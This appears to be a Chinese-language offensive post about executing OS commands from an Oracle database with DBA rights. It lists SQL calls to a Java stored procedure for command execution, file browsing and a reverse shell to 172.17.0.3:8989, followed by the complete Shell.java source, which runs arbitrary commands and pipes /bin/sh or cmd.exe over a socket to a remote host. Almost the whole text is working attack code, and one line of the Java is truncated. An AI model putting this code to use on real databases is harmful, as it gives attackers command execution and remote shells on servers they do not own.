oracleShell oracle 数据库命令执行

测试环境-DBA权限：

SELECT * FROM v$version

Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production

PL/SQL Release 11.2.0.1.0 - Production

"CORE11.2.0.1.0Production"

TNS for 32-bit Windows: Version 11.2.0.1.0 - Production

NLSRTL Version 11.2.0.1.0 - Production

Function

命令执行

select run('exec','whoami','UTF-8') from dual;

文件管理

select run('list','/usr','UTF-8') from dual;

获取当前路径

select run('getCurrentDir','','UTF-8') from dual;

反弹shell

select run('connectBack','172.17.0.3^8989','UTF-8') from dual;

Shell.java

import java.io.BufferedReader;

import java.io.BufferedWriter;

import java.io.File;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.OutputStream;

import java.io.OutputStreamWriter;

import java.net.Socket;

import java.util.Date;

public class Shell extends Object {

public static String run(String methodName, String params, String encoding) {

String result = "";

if (methodName.equalsIgnoreCase("exec")) {

result = Shell.exec(params, encoding);

} else if (methodName.equalsIgnoreCase("list")) {

result = Shell.list(params, encoding);

} else if (methodName.equalsIgnoreCase("getCurrentDir")) {

result = Shell.getCurrentDir();

} else if (methodName.equalsIgnoreCase("connectBack")) {

String ip = params.substring(0, params.indexOf("^"));

String port = params.substring(params.indexOf("^") + 1);

result = Shell.connectBack(ip, Integer.parseInt(port));

} else {

result = "unkown methodName";

}

return result;

}

public static String exec(String cmd, String encoding) {

String result = "";

if (encoding == null || encoding.equals("")) {

encoding = "utf-8";

}

Process p;

try {

p = Runtime.getRuntime().exec(cmd);

try {

p.waitFor();

} catch (InterruptedException e) {

result += e.getMessage();

e.printStackTrace();

}

InputStream fis;

if (p.exitValue() == 0) fis = p.getInputStream();

else fis = p.getErrorStream();

InputStreamReader isr = new InputStreamReader(fis);

BufferedReader br = new BufferedReader(isr);

String line = null;

while ((line = br.readLine()) != null) {

result += line + "\n";

}

} catch (IOException e) {

result += e.getMessage();

}

return result;

}

public static String list(String path, String encoding) {

String result = "";

if (encoding == null || encoding.equals("")) {

encoding = "utf-8";

}

File file = new File(path);

File[] items = file.listFiles();

for (int i = 0; i < items.length; i++) {

File item = items[i];

String type = item.isDirectory() ? "

String size = item.isDirectory() ? " " : item.length() / 1024 + "KB";

if (size.equals("0KB")) size = item.length() + "Byte";

String date = new Date(item.lastModified()).toLocaleString();

result += date + " " + type + " " + size + " " + item.getName() + "\n";

}

return result;

}

public static String getCurrentDir() {

String result = "";

File directory = new File("");

try {

result = directory.getAbsolutePath();

} catch (Exception e) {

}

return result;

}

public static String connectBack(String ip, int port) {

class StreamConnector extends Thread {

InputStream sp;

OutputStream gh;

StreamConnector(InputStream sp, OutputStream gh) {

this.sp = sp;

this.gh = gh;

}

public void run() {

BufferedReader xp = null;

BufferedWriter ydg = null;

try {

xp = new BufferedReader(new InputStreamReader(this.sp));

ydg = new BufferedWriter(new OutputStreamWriter(this.gh));

char buffer[] = new char[8192];

int length;

while ((length = xp.read(buffer, 0, buffer.length)) > 0) {

ydg.write(buffer, 0, length);

ydg.flush();

}

} catch (Exception e) {

}

try {

if (xp != null) xp.close();

if (ydg != null) ydg.close();

} catch (Exception e) {

}

}

}

try {

String ShellPath;

if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {

ShellPath = new String("/bin/sh");

} else {

ShellPath = new String("cmd.exe");

}

Socket socket = new Socket(ip, port);

Process process = Runtime.getRuntime().exec(ShellPath);

(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();

(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();

} catch (Exception e) {

}

return "^OK^";

}

}

参考链接：

rebeyond-oracleShell.jar